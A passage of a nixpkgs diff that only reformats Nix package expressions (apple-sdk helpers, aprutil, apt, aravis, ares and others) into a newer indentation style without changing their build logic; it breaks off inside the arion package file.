diff --git a/pkgs/by-name/ap/apple-sdk/common/derivation-options.nix b/pkgs/by-name/ap/apple-sdk/common/derivation-options.nix
index 361e8df0f8d1..9c99206a59e3 100644
--- a/pkgs/by-name/ap/apple-sdk/common/derivation-options.nix
+++ b/pkgs/by-name/ap/apple-sdk/common/derivation-options.nix
@@ -1,17 +1,13 @@
 { lib, config }:
 
 self: super: {
-  preBuild =
-    super.preBuild or ""
-    + ''
-      platformPath=$out/Platforms/MacOSX.platform
-      sdkpath=$platformPath/Developer/SDKs
-    '';
+  preBuild = super.preBuild or "" + ''
+    platformPath=$out/Platforms/MacOSX.platform
+    sdkpath=$platformPath/Developer/SDKs
+  '';
 
-  preInstall =
-    super.preInstall or ""
-    + ''
-      platformPath=$out/Platforms/MacOSX.platform
-      sdkpath=$platformPath/Developer/SDKs
-    '';
+  preInstall = super.preInstall or "" + ''
+    platformPath=$out/Platforms/MacOSX.platform
+    sdkpath=$platformPath/Developer/SDKs
+  '';
 }
diff --git a/pkgs/by-name/ap/apple-sdk/common/process-stubs.nix b/pkgs/by-name/ap/apple-sdk/common/process-stubs.nix
index 0f87f9c326bd..28679553b7bf 100644
--- a/pkgs/by-name/ap/apple-sdk/common/process-stubs.nix
+++ b/pkgs/by-name/ap/apple-sdk/common/process-stubs.nix
@@ -19,40 +19,38 @@ self: super: {
     llvm
   ];
 
-  buildPhase =
-    super.buildPhase or ""
-    + ''
-      echo "Removing the following dylibs from the libSystem reexported libraries list: ${lib.escapeShellArg (lib.concatStringsSep ", " removedDylibs)}"
-      for libSystem in libSystem.B.tbd libSystem.B_asan.tbd; do
-        # tbd-v5 is a JSON-based format, which can be manipulated by `jq`.
-        llvm-readtapi --filetype=tbd-v5 usr/lib/$libSystem \
-        | jq --argjson libs ${lib.escapeShellArg (builtins.toJSON removedDylibs)} '
-          if .libraries then
-            .libraries[] |= select(.install_names[] | any([.] | inside($libs)) | not)
-          else
-            .
-          end
-          | .main_library.reexported_libraries[].names[] |= select([.] | inside($libs) | not)
-        ' > usr/lib/$libSystem~
-        # Convert libSystem back to tbd-v4 because not all tooling supports the JSON-based format yet.
-        llvm-readtapi --filetype=tbd-v4 usr/lib/$libSystem~ -o usr/lib/$libSystem
-        rm usr/lib/$libSystem~
-      done
+  buildPhase = super.buildPhase or "" + ''
+    echo "Removing the following dylibs from the libSystem reexported libraries list: ${lib.escapeShellArg (lib.concatStringsSep ", " removedDylibs)}"
+    for libSystem in libSystem.B.tbd libSystem.B_asan.tbd; do
+      # tbd-v5 is a JSON-based format, which can be manipulated by `jq`.
+      llvm-readtapi --filetype=tbd-v5 usr/lib/$libSystem \
+      | jq --argjson libs ${lib.escapeShellArg (builtins.toJSON removedDylibs)} '
+        if .libraries then
+          .libraries[] |= select(.install_names[] | any([.] | inside($libs)) | not)
+        else
+          .
+        end
+        | .main_library.reexported_libraries[].names[] |= select([.] | inside($libs) | not)
+      ' > usr/lib/$libSystem~
+      # Convert libSystem back to tbd-v4 because not all tooling supports the JSON-based format yet.
+      llvm-readtapi --filetype=tbd-v4 usr/lib/$libSystem~ -o usr/lib/$libSystem
+      rm usr/lib/$libSystem~
+    done
 
-      # Strip weak C++ symbols to work around `libc++` leakage in system
-      # frameworks for now. These are only present on `x86_64-darwin`, so
-      # it should hopefully be harmless.
-      #
-      # TODO FIXME: This is kind of horrible.
-      while read -r -d "" stub; do
-        printf 'Stripping weak C++ symbols from %s\n' "$stub"
-        llvm-readtapi --filetype=tbd-v5 "$stub" \
-        | jq '
-          (.main_library, .libraries[]?).exported_symbols[]?.data.weak[]? |=
-            select(startswith("__Z") | not)
-        ' > $stub~
-        llvm-readtapi --filetype=tbd-v4 $stub~ -o $stub
-        rm $stub~
-      done < <(find . -name '*.tbd' -print0)
-    '';
+    # Strip weak C++ symbols to work around `libc++` leakage in system
+    # frameworks for now. These are only present on `x86_64-darwin`, so
+    # it should hopefully be harmless.
+    #
+    # TODO FIXME: This is kind of horrible.
+    while read -r -d "" stub; do
+      printf 'Stripping weak C++ symbols from %s\n' "$stub"
+      llvm-readtapi --filetype=tbd-v5 "$stub" \
+      | jq '
+        (.main_library, .libraries[]?).exported_symbols[]?.data.weak[]? |=
+          select(startswith("__Z") | not)
+      ' > $stub~
+      llvm-readtapi --filetype=tbd-v4 $stub~ -o $stub
+      rm $stub~
+    done < <(find . -name '*.tbd' -print0)
+  '';
 }
diff --git a/pkgs/by-name/ap/apple-sdk/common/propagate-inputs.nix b/pkgs/by-name/ap/apple-sdk/common/propagate-inputs.nix
index 668ac586cb01..fe58181980b6 100644
--- a/pkgs/by-name/ap/apple-sdk/common/propagate-inputs.nix
+++ b/pkgs/by-name/ap/apple-sdk/common/propagate-inputs.nix
@@ -63,11 +63,9 @@ self: super: {
     ++ lib.optionals stdenvNoCC.hostPlatform.isx86_64 [ darwin.Csu ];
 
   # The Darwin module for Swift requires certain headers to be included in the SDK (and not just be propagated).
-  buildPhase =
-    super.buildPhase or ""
-    + ''
-      for header in '${lib.getDev libiconv}/include/'* '${lib.getDev ncurses}/include/'*; do
-        ln -s "$header" "usr/include/$(basename "$header")"
-      done
-    '';
+  buildPhase = super.buildPhase or "" + ''
+    for header in '${lib.getDev libiconv}/include/'* '${lib.getDev ncurses}/include/'*; do
+      ln -s "$header" "usr/include/$(basename "$header")"
+    done
+  '';
 }
diff --git a/pkgs/by-name/ap/apple-sdk/common/propagate-xcrun.nix b/pkgs/by-name/ap/apple-sdk/common/propagate-xcrun.nix
index 441b36698688..f993441c757e 100644
--- a/pkgs/by-name/ap/apple-sdk/common/propagate-xcrun.nix
+++ b/pkgs/by-name/ap/apple-sdk/common/propagate-xcrun.nix
@@ -15,36 +15,34 @@ in
 self: super: {
   propagatedNativeBuildInputs = super.propagatedNativeBuildInputs or [ ] ++ [ xcbuild.xcrun ];
 
-  postInstall =
-    super.postInstall or ""
-    + ''
-      specspath=$out/Library/Xcode/Specifications
-      toolchainsPath=$out/Toolchains/XcodeDefault.xctoolchain
-      mkdir -p "$specspath" "$toolchainsPath"
+  postInstall = super.postInstall or "" + ''
+    specspath=$out/Library/Xcode/Specifications
+    toolchainsPath=$out/Toolchains/XcodeDefault.xctoolchain
+    mkdir -p "$specspath" "$toolchainsPath"
 
-      # xcbuild expects to find things relative to the plist locations. If these are linked instead of copied,
-      # it won’t find any platforms or SDKs.
-      cp '${plists."Info.plist"}' "$platformPath/Info.plist"
-      cp '${plists."ToolchainInfo.plist"}' "$toolchainsPath/ToolchainInfo.plist"
+    # xcbuild expects to find things relative to the plist locations. If these are linked instead of copied,
+    # it won’t find any platforms or SDKs.
+    cp '${plists."Info.plist"}' "$platformPath/Info.plist"
+    cp '${plists."ToolchainInfo.plist"}' "$toolchainsPath/ToolchainInfo.plist"
 
-      for spec in '${xcbuild}/Library/Xcode/Specifications/'*; do
-        ln -s "$spec" "$specspath/$(basename "$spec")"
-      done
-      cp '${plists."Architectures.xcspec"}' "$specspath/Architectures.xcspec"
-      cp '${plists."PackageTypes.xcspec"}' "$specspath/PackageTypes.xcspec"
-      cp '${plists."ProductTypes.xcspec"}' "$specspath/ProductTypes.xcspec"
+    for spec in '${xcbuild}/Library/Xcode/Specifications/'*; do
+      ln -s "$spec" "$specspath/$(basename "$spec")"
+    done
+    cp '${plists."Architectures.xcspec"}' "$specspath/Architectures.xcspec"
+    cp '${plists."PackageTypes.xcspec"}' "$specspath/PackageTypes.xcspec"
+    cp '${plists."ProductTypes.xcspec"}' "$specspath/ProductTypes.xcspec"
 
-      mkdir -p "$out/usr/bin"
-      ln -s '${xcbuild.xcrun}/bin/xcrun' "$out/usr/bin/xcrun"
+    mkdir -p "$out/usr/bin"
+    ln -s '${xcbuild.xcrun}/bin/xcrun' "$out/usr/bin/xcrun"
 
-      # Include `libtool` in the toolchain, so `xcrun -find libtool` can find it without requiring `cctools.libtool`
-      # as a `nativeBuildInput`.
-      mkdir -p "$toolchainsPath/usr/bin"
-      ln -s '${cctools.libtool}/bin/${stdenv.cc.targetPrefix}libtool' "$toolchainsPath/usr/bin/libtool"
+    # Include `libtool` in the toolchain, so `xcrun -find libtool` can find it without requiring `cctools.libtool`
+    # as a `nativeBuildInput`.
+    mkdir -p "$toolchainsPath/usr/bin"
+    ln -s '${cctools.libtool}/bin/${stdenv.cc.targetPrefix}libtool' "$toolchainsPath/usr/bin/libtool"
 
-      # Include additional binutils required by some packages (such as Chromium).
-      for tool in lipo nm otool size strip; do
-        ln -s '${darwin.binutils-unwrapped}/bin/${stdenv.cc.targetPrefix}'$tool "$toolchainsPath/usr/bin/$tool"
-      done
-    '';
+    # Include additional binutils required by some packages (such as Chromium).
+    for tool in lipo nm otool size strip; do
+      ln -s '${darwin.binutils-unwrapped}/bin/${stdenv.cc.targetPrefix}'$tool "$toolchainsPath/usr/bin/$tool"
+    done
+  '';
 }
diff --git a/pkgs/by-name/ap/apple-sdk/common/remove-disallowed-packages.nix b/pkgs/by-name/ap/apple-sdk/common/remove-disallowed-packages.nix
index e413f9289249..05bb6750c4f8 100644
--- a/pkgs/by-name/ap/apple-sdk/common/remove-disallowed-packages.nix
+++ b/pkgs/by-name/ap/apple-sdk/common/remove-disallowed-packages.nix
@@ -10,17 +10,15 @@ in
 
 self: super: {
   # Remove headers and stubs for packages that are available in nixpkgs.
-  buildPhase =
-    super.buildPhase or ""
-    + ''
-      ${lib.concatMapStringsSep "\n" (
-        pkg:
-        lib.concatLines (
-          [ ''echo "Removing headers and libraries from ${pkg.package}"'' ]
-          ++ (map (header: "rm -rf -- usr/include/${header}") pkg.headers or [ ])
-          ++ (map (framework: "rm -rf -- System/Library/Frameworks/${framework}") pkg.frameworks or [ ])
-          ++ (map (library: "rm -rf -- usr/lib/${library}") pkg.libraries or [ ])
-        )
-      ) disallowedPackages}
-    '';
+  buildPhase = super.buildPhase or "" + ''
+    ${lib.concatMapStringsSep "\n" (
+      pkg:
+      lib.concatLines (
+        [ ''echo "Removing headers and libraries from ${pkg.package}"'' ]
+        ++ (map (header: "rm -rf -- usr/include/${header}") pkg.headers or [ ])
+        ++ (map (framework: "rm -rf -- System/Library/Frameworks/${framework}") pkg.frameworks or [ ])
+        ++ (map (library: "rm -rf -- usr/lib/${library}") pkg.libraries or [ ])
+      )
+    ) disallowedPackages}
+  '';
 }
diff --git a/pkgs/by-name/ap/applgrid/package.nix b/pkgs/by-name/ap/applgrid/package.nix
index f5ebcf89d724..06392850bb63 100644
--- a/pkgs/by-name/ap/applgrid/package.nix
+++ b/pkgs/by-name/ap/applgrid/package.nix
@@ -32,15 +32,14 @@ stdenv.mkDerivation rec {
     ./bad_code.patch
   ];
 
-  preConfigure =
-    ''
-      substituteInPlace src/Makefile.in \
-        --replace "-L\$(subst /libgfortran.a, ,\$(FRTLIB) )" "-L${gfortran.cc.lib}/lib"
-    ''
-    + (lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace src/Makefile.in \
-        --replace "gfortran -print-file-name=libgfortran.a" "gfortran -print-file-name=libgfortran.dylib"
-    '');
+  preConfigure = ''
+    substituteInPlace src/Makefile.in \
+      --replace "-L\$(subst /libgfortran.a, ,\$(FRTLIB) )" "-L${gfortran.cc.lib}/lib"
+  ''
+  + (lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace src/Makefile.in \
+      --replace "gfortran -print-file-name=libgfortran.a" "gfortran -print-file-name=libgfortran.dylib"
+  '');
 
   enableParallelBuilding = false; # broken
 
diff --git a/pkgs/by-name/ap/aprutil/package.nix b/pkgs/by-name/ap/aprutil/package.nix
index 1f23af533b76..da6da9d000a7 100644
--- a/pkgs/by-name/ap/aprutil/package.nix
+++ b/pkgs/by-name/ap/aprutil/package.nix
@@ -35,7 +35,8 @@ stdenv.mkDerivation rec {
     ./fix-libxcrypt-build.patch
     # Fix incorrect Berkeley DB detection with newer versions of clang due to implicit `int` on main errors.
     ./clang-bdb.patch
-  ] ++ lib.optional stdenv.hostPlatform.isFreeBSD ./include-static-dependencies.patch;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isFreeBSD ./include-static-dependencies.patch;
 
   NIX_CFLAGS_LINK = [ "-lcrypt" ];
 
@@ -50,50 +51,47 @@ stdenv.mkDerivation rec {
     autoreconfHook
   ];
 
-  configureFlags =
-    [
-      "--with-apr=${apr.dev}"
-      "--with-expat=${expat.dev}"
-    ]
-    ++ lib.optional (!stdenv.hostPlatform.isCygwin) "--with-crypto"
-    ++ lib.optional sslSupport "--with-openssl=${openssl.dev}"
-    ++ lib.optional bdbSupport "--with-berkeley-db=${db.dev}"
-    ++ lib.optional ldapSupport "--with-ldap=ldap"
-    ++ lib.optionals stdenv.hostPlatform.isCygwin [
-      "--without-pgsql"
-      "--without-sqlite2"
-      "--without-sqlite3"
-      "--without-freetds"
-      "--without-berkeley-db"
-      "--without-crypto"
-    ];
+  configureFlags = [
+    "--with-apr=${apr.dev}"
+    "--with-expat=${expat.dev}"
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isCygwin) "--with-crypto"
+  ++ lib.optional sslSupport "--with-openssl=${openssl.dev}"
+  ++ lib.optional bdbSupport "--with-berkeley-db=${db.dev}"
+  ++ lib.optional ldapSupport "--with-ldap=ldap"
+  ++ lib.optionals stdenv.hostPlatform.isCygwin [
+    "--without-pgsql"
+    "--without-sqlite2"
+    "--without-sqlite3"
+    "--without-freetds"
+    "--without-berkeley-db"
+    "--without-crypto"
+  ];
 
-  postConfigure =
-    ''
-      echo '#define APR_HAVE_CRYPT_H 1' >> confdefs.h
-    ''
-    +
-      # For some reason, db version 6.9 is selected when cross-compiling.
-      # It's unclear as to why, it requires someone with more autotools / configure knowledge to go deeper into that.
-      # Always replacing the link flag with a generic link flag seems to help though, so let's do that for now.
-      lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
-        substituteInPlace Makefile \
-          --replace "-ldb-6.9" "-ldb"
-        substituteInPlace apu-1-config \
-          --replace "-ldb-6.9" "-ldb"
-      '';
+  postConfigure = ''
+    echo '#define APR_HAVE_CRYPT_H 1' >> confdefs.h
+  ''
+  +
+    # For some reason, db version 6.9 is selected when cross-compiling.
+    # It's unclear as to why, it requires someone with more autotools / configure knowledge to go deeper into that.
+    # Always replacing the link flag with a generic link flag seems to help though, so let's do that for now.
+    lib.optionalString (stdenv.buildPlatform != stdenv.hostPlatform) ''
+      substituteInPlace Makefile \
+        --replace "-ldb-6.9" "-ldb"
+      substituteInPlace apu-1-config \
+        --replace "-ldb-6.9" "-ldb"
+    '';
 
-  propagatedBuildInputs =
-    [
-      apr
-      expat
-      libiconv
-      libxcrypt
-    ]
-    ++ lib.optional sslSupport openssl
-    ++ lib.optional bdbSupport db
-    ++ lib.optional ldapSupport openldap
-    ++ lib.optional stdenv.hostPlatform.isFreeBSD cyrus_sasl;
+  propagatedBuildInputs = [
+    apr
+    expat
+    libiconv
+    libxcrypt
+  ]
+  ++ lib.optional sslSupport openssl
+  ++ lib.optional bdbSupport db
+  ++ lib.optional ldapSupport openldap
+  ++ lib.optional stdenv.hostPlatform.isFreeBSD cyrus_sasl;
 
   postInstall = ''
     for f in $out/lib/*.la $out/lib/apr-util-1/*.la $dev/bin/apu-1-config; do
diff --git a/pkgs/by-name/ap/apt/package.nix b/pkgs/by-name/ap/apt/package.nix
index 5512e92156de..c4b056ac62c5 100644
--- a/pkgs/by-name/ap/apt/package.nix
+++ b/pkgs/by-name/ap/apt/package.nix
@@ -52,46 +52,44 @@ stdenv.mkDerivation (finalAttrs: {
     "man"
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      dpkg # dpkg-architecture
-      gettext # msgfmt
-      gtest
-      (lib.getBin libxslt)
-      pkg-config
-      triehash
-      perlPackages.perl
-    ]
-    ++ lib.optionals withDocs [
-      docbook_xml_dtd_45
-      doxygen
-      perlPackages.Po4a
-      w3m
-    ];
+  nativeBuildInputs = [
+    cmake
+    dpkg # dpkg-architecture
+    gettext # msgfmt
+    gtest
+    (lib.getBin libxslt)
+    pkg-config
+    triehash
+    perlPackages.perl
+  ]
+  ++ lib.optionals withDocs [
+    docbook_xml_dtd_45
+    doxygen
+    perlPackages.Po4a
+    w3m
+  ];
 
-  buildInputs =
-    [
-      bzip2
-      curl
-      db
-      dpkg
-      gnutls
-      gtest
-      libgcrypt
-      libgpg-error
-      libseccomp
-      libtasn1
-      lz4
-      p11-kit
-      udev
-      xxHash
-      xz
-      zstd
-    ]
-    ++ lib.optionals withNLS [
-      gettext
-    ];
+  buildInputs = [
+    bzip2
+    curl
+    db
+    dpkg
+    gnutls
+    gtest
+    libgcrypt
+    libgpg-error
+    libseccomp
+    libtasn1
+    lz4
+    p11-kit
+    udev
+    xxHash
+    xz
+    zstd
+  ]
+  ++ lib.optionals withNLS [
+    gettext
+  ];
 
   cmakeFlags = [
     (lib.cmakeOptionType "filepath" "BERKELEY_INCLUDE_DIRS" "${lib.getDev db}/include")
diff --git a/pkgs/by-name/ar/arangodb/package.nix b/pkgs/by-name/ar/arangodb/package.nix
index ae27027bd993..0faa1ebea0ee 100644
--- a/pkgs/by-name/ar/arangodb/package.nix
+++ b/pkgs/by-name/ar/arangodb/package.nix
@@ -69,18 +69,17 @@ gcc10Stdenv.mkDerivation rec {
 
   cmakeBuildType = "RelWithDebInfo";
 
-  cmakeFlags =
-    [
-      "-DUSE_MAINTAINER_MODE=OFF"
-      "-DUSE_GOOGLE_TESTS=OFF"
+  cmakeFlags = [
+    "-DUSE_MAINTAINER_MODE=OFF"
+    "-DUSE_GOOGLE_TESTS=OFF"
 
-      # avoid reading /proc/cpuinfo for feature detection
-      "-DTARGET_ARCHITECTURE=${targetArch}"
-    ]
-    ++ lib.optionals asmOptimizations [
-      "-DASM_OPTIMIZATIONS=ON"
-      "-DHAVE_SSE42=${if gcc10Stdenv.hostPlatform.sse4_2Support then "ON" else "OFF"}"
-    ];
+    # avoid reading /proc/cpuinfo for feature detection
+    "-DTARGET_ARCHITECTURE=${targetArch}"
+  ]
+  ++ lib.optionals asmOptimizations [
+    "-DASM_OPTIMIZATIONS=ON"
+    "-DHAVE_SSE42=${if gcc10Stdenv.hostPlatform.sse4_2Support then "ON" else "OFF"}"
+  ];
 
   meta = with lib; {
     homepage = "https://www.arangodb.com";
diff --git a/pkgs/by-name/ar/aravis/package.nix b/pkgs/by-name/ar/aravis/package.nix
index 5447efb9e304..c619fba3975b 100644
--- a/pkgs/by-name/ar/aravis/package.nix
+++ b/pkgs/by-name/ar/aravis/package.nix
@@ -52,33 +52,32 @@ stdenv.mkDerivation rec {
     pkg-config
     gi-docgen
     gobject-introspection
-  ] ++ lib.optional enableViewer wrapGAppsHook3;
+  ]
+  ++ lib.optional enableViewer wrapGAppsHook3;
 
-  buildInputs =
+  buildInputs = [
+    glib
+    libxml2
+  ]
+  ++ lib.optional enableUsb libusb1
+  ++ lib.optionals (enableViewer || enableGstPlugin) (
+    with gst_all_1;
     [
-      glib
-      libxml2
+      gstreamer
+      gst-plugins-base
+      (gst-plugins-good.override { gtkSupport = true; })
+      gst-plugins-bad
     ]
-    ++ lib.optional enableUsb libusb1
-    ++ lib.optionals (enableViewer || enableGstPlugin) (
-      with gst_all_1;
-      [
-        gstreamer
-        gst-plugins-base
-        (gst-plugins-good.override { gtkSupport = true; })
-        gst-plugins-bad
-      ]
-    )
-    ++ lib.optionals (enableViewer) [ gtk3 ];
+  )
+  ++ lib.optionals (enableViewer) [ gtk3 ];
 
-  mesonFlags =
-    [
-    ]
-    ++ lib.optional enableFastHeartbeat "-Dfast-heartbeat=enabled"
-    ++ lib.optional (!enableGstPlugin) "-Dgst-plugin=disabled"
-    ++ lib.optional (!enableViewer) "-Dviewer=disabled"
-    ++ lib.optional (!enableUsb) "-Dviewer=disabled"
-    ++ lib.optional (!enablePacketSocket) "-Dpacket-socket=disabled";
+  mesonFlags = [
+  ]
+  ++ lib.optional enableFastHeartbeat "-Dfast-heartbeat=enabled"
+  ++ lib.optional (!enableGstPlugin) "-Dgst-plugin=disabled"
+  ++ lib.optional (!enableViewer) "-Dviewer=disabled"
+  ++ lib.optional (!enableUsb) "-Dviewer=disabled"
+  ++ lib.optional (!enablePacketSocket) "-Dpacket-socket=disabled";
 
   doCheck = true;
 
diff --git a/pkgs/by-name/ar/arcan/package.nix b/pkgs/by-name/ar/arcan/package.nix
index 47f6f512dd8a..754bc2f16433 100644
--- a/pkgs/by-name/ar/arcan/package.nix
+++ b/pkgs/by-name/ar/arcan/package.nix
@@ -74,7 +74,8 @@ stdenv.mkDerivation (finalAttrs: {
     makeWrapper
     pkg-config
     wayland-scanner
-  ] ++ lib.optionals buildManPages [ ruby ];
+  ]
+  ++ lib.optionals buildManPages [ ruby ];
 
   buildInputs = [
     SDL2
@@ -114,7 +115,8 @@ stdenv.mkDerivation (finalAttrs: {
     xcbutil
     xcbutilwm
     xz
-  ] ++ lib.optionals useEspeak [ espeak-ng ];
+  ]
+  ++ lib.optionals useEspeak [ espeak-ng ];
 
   cmakeFlags = [
     # The upstream project recommends tagging the distribution
diff --git a/pkgs/by-name/ar/archi/package.nix b/pkgs/by-name/ar/archi/package.nix
index 7e88c8126611..fa2e2596f62d 100644
--- a/pkgs/by-name/ar/archi/package.nix
+++ b/pkgs/by-name/ar/archi/package.nix
@@ -40,18 +40,17 @@ stdenv.mkDerivation rec {
     libsecret
   ];
 
-  nativeBuildInputs =
-    [
-      makeWrapper
-      wrapGAppsHook3
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      _7zz
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      autoPatchelfHook
-      copyDesktopItems
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    wrapGAppsHook3
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    _7zz
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    autoPatchelfHook
+    copyDesktopItems
+  ];
 
   sourceRoot = if stdenv.hostPlatform.isDarwin then "." else null;
 
diff --git a/pkgs/by-name/ar/archivebox/package.nix b/pkgs/by-name/ar/archivebox/package.nix
index bb222095da26..4ea2b56a7217 100644
--- a/pkgs/by-name/ar/archivebox/package.nix
+++ b/pkgs/by-name/ar/archivebox/package.nix
@@ -85,28 +85,27 @@ python.pkgs.buildPythonApplication rec {
     yt-dlp
   ];
 
-  makeWrapperArgs =
-    [
-      "--set USE_NODE True" # used through dependencies, not needed explicitly
-      "--set READABILITY_BINARY ${lib.meta.getExe readability-extractor}"
-      "--set MERCURY_BINARY ${lib.meta.getExe postlight-parser}"
-      "--set CURL_BINARY ${lib.meta.getExe curl}"
-      "--set RIPGREP_BINARY ${lib.meta.getExe ripgrep}"
-      "--set WGET_BINARY ${lib.meta.getExe wget}"
-      "--set GIT_BINARY ${lib.meta.getExe git}"
-      "--set YOUTUBEDL_BINARY ${lib.meta.getExe python.pkgs.yt-dlp}"
-      "--set SINGLEFILE_BINARY ${lib.meta.getExe single-file-cli}"
-    ]
-    ++ (
-      if (lib.meta.availableOn stdenv.hostPlatform chromium) then
-        [
-          "--set CHROME_BINARY ${chromium}/bin/chromium-browser"
-        ]
-      else
-        [
-          "--set-default USE_CHROME False"
-        ]
-    );
+  makeWrapperArgs = [
+    "--set USE_NODE True" # used through dependencies, not needed explicitly
+    "--set READABILITY_BINARY ${lib.meta.getExe readability-extractor}"
+    "--set MERCURY_BINARY ${lib.meta.getExe postlight-parser}"
+    "--set CURL_BINARY ${lib.meta.getExe curl}"
+    "--set RIPGREP_BINARY ${lib.meta.getExe ripgrep}"
+    "--set WGET_BINARY ${lib.meta.getExe wget}"
+    "--set GIT_BINARY ${lib.meta.getExe git}"
+    "--set YOUTUBEDL_BINARY ${lib.meta.getExe python.pkgs.yt-dlp}"
+    "--set SINGLEFILE_BINARY ${lib.meta.getExe single-file-cli}"
+  ]
+  ++ (
+    if (lib.meta.availableOn stdenv.hostPlatform chromium) then
+      [
+        "--set CHROME_BINARY ${chromium}/bin/chromium-browser"
+      ]
+    else
+      [
+        "--set-default USE_CHROME False"
+      ]
+  );
 
   meta = with lib; {
     description = "Open source self-hosted web archiving";
diff --git a/pkgs/by-name/ar/arduino-cli/package.nix b/pkgs/by-name/ar/arduino-cli/package.nix
index d1023f24e958..ab7c7eaa85c2 100644
--- a/pkgs/by-name/ar/arduino-cli/package.nix
+++ b/pkgs/by-name/ar/arduino-cli/package.nix
@@ -60,7 +60,8 @@ let
       "-w"
       "-X github.com/arduino/arduino-cli/internal/version.versionString=${version}"
       "-X github.com/arduino/arduino-cli/internal/version.commit=unknown"
-    ] ++ lib.optionals stdenv.hostPlatform.isLinux [ "-extldflags '-static'" ];
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [ "-extldflags '-static'" ];
 
     postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
       export HOME="$(mktemp -d)"
diff --git a/pkgs/by-name/ar/arduino-language-server/package.nix b/pkgs/by-name/ar/arduino-language-server/package.nix
index 18b6761e30b3..4326e2cef967 100644
--- a/pkgs/by-name/ar/arduino-language-server/package.nix
+++ b/pkgs/by-name/ar/arduino-language-server/package.nix
@@ -22,16 +22,15 @@ buildGoModule rec {
 
   doCheck = false;
 
-  ldflags =
-    [
-      "-s"
-      "-w"
-      "-X github.com/arduino/arduino-language-server/version.versionString=${version}"
-      "-X github.com/arduino/arduino-language-server/version.commit=unknown"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-extldflags '-static'"
-    ];
+  ldflags = [
+    "-s"
+    "-w"
+    "-X github.com/arduino/arduino-language-server/version.versionString=${version}"
+    "-X github.com/arduino/arduino-language-server/version.commit=unknown"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    "-extldflags '-static'"
+  ];
 
   meta = with lib; {
     description = "Arduino Language Server based on Clangd to Arduino code autocompletion";
diff --git a/pkgs/by-name/ar/ares/package.nix b/pkgs/by-name/ar/ares/package.nix
index e917588264c8..d829d4ce7ed3 100644
--- a/pkgs/by-name/ar/ares/package.nix
+++ b/pkgs/by-name/ar/ares/package.nix
@@ -37,40 +37,38 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-uuFKbS7WvxkTyyQfuQ6iKPvRt+54zUPdjUlQ/ohBAr8=";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wrapGAppsHook3
-    ];
+  nativeBuildInputs = [
+    cmake
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wrapGAppsHook3
+  ];
 
-  buildInputs =
-    [
-      SDL2
-      libao
-      librashader
-      vulkan-loader
-      zlib
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_14
-      moltenvk
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      gtk3
-      gtksourceview3
-      libGL
-      libGLU
-      libX11
-      libXv
-      libpulseaudio
-      openal
-      udev
-    ];
+  buildInputs = [
+    SDL2
+    libao
+    librashader
+    vulkan-loader
+    zlib
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_14
+    moltenvk
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    gtk3
+    gtksourceview3
+    libGL
+    libGLU
+    libX11
+    libXv
+    libpulseaudio
+    openal
+    udev
+  ];
 
   patches = [
     ./darwin-build-fixes.patch
diff --git a/pkgs/by-name/ar/argc/package.nix b/pkgs/by-name/ar/argc/package.nix
index 051d4e83e0bd..a851e795462c 100644
--- a/pkgs/by-name/ar/argc/package.nix
+++ b/pkgs/by-name/ar/argc/package.nix
@@ -39,13 +39,12 @@ rustPlatform.buildRustPackage rec {
 
   disallowedReferences = lib.optional (!canExecuteHost) buildPackages.argc;
 
-  env =
-    {
-      LANG = "C.UTF-8";
-    }
-    // lib.optionalAttrs (glibcLocales != null) {
-      LOCALE_ARCHIVE = "${glibcLocales}/lib/locale/locale-archive";
-    };
+  env = {
+    LANG = "C.UTF-8";
+  }
+  // lib.optionalAttrs (glibcLocales != null) {
+    LOCALE_ARCHIVE = "${glibcLocales}/lib/locale/locale-archive";
+  };
 
   passthru = {
     tests = {
diff --git a/pkgs/by-name/ar/argon/package.nix b/pkgs/by-name/ar/argon/package.nix
index 5cb46af8afd7..ad6a12c76a90 100644
--- a/pkgs/by-name/ar/argon/package.nix
+++ b/pkgs/by-name/ar/argon/package.nix
@@ -23,13 +23,12 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ pkg-config ];
 
-  buildInputs =
-    [
-      zstd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      udev
-    ];
+  buildInputs = [
+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    udev
+  ];
 
   env = {
     ZSTD_SYS_USE_PKG_CONFIG = true;
diff --git a/pkgs/by-name/ar/arion/package.nix b/pkgs/by-name/ar/arion/package.nix
index 7cb643d72867..d6f806fbb7df 100644
--- a/pkgs/by-name/ar/arion/package.nix
+++ b/pkgs/by-name/ar/arion/package.nix
@@ -45,16 +45,14 @@ let
     # feature, but rather to make the program more robustly self-
     # contained.
 
-    postInstall =
-      o.postInstall or ""
-      + ''
-        mkdir -p $out/libexec
-        mv $out/bin/arion $out/libexec
-        makeWrapper $out/libexec/arion $out/bin/arion \
-          --unset PYTHONPATH \
-          --prefix PATH : ${lib.makeBinPath [ pkgs.docker-compose ]} \
-          ;
-      '';
+    postInstall = o.postInstall or "" + ''
+      mkdir -p $out/libexec
+      mv $out/bin/arion $out/libexec
